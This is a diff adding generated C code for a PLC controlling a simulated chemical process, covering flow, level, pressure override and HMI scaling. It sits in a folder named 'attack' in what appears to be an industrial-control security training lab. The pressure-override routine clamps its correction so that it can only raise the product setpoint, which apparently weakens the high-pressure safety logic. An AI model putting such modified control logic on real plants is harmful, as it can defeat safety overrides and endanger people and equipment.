__INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + 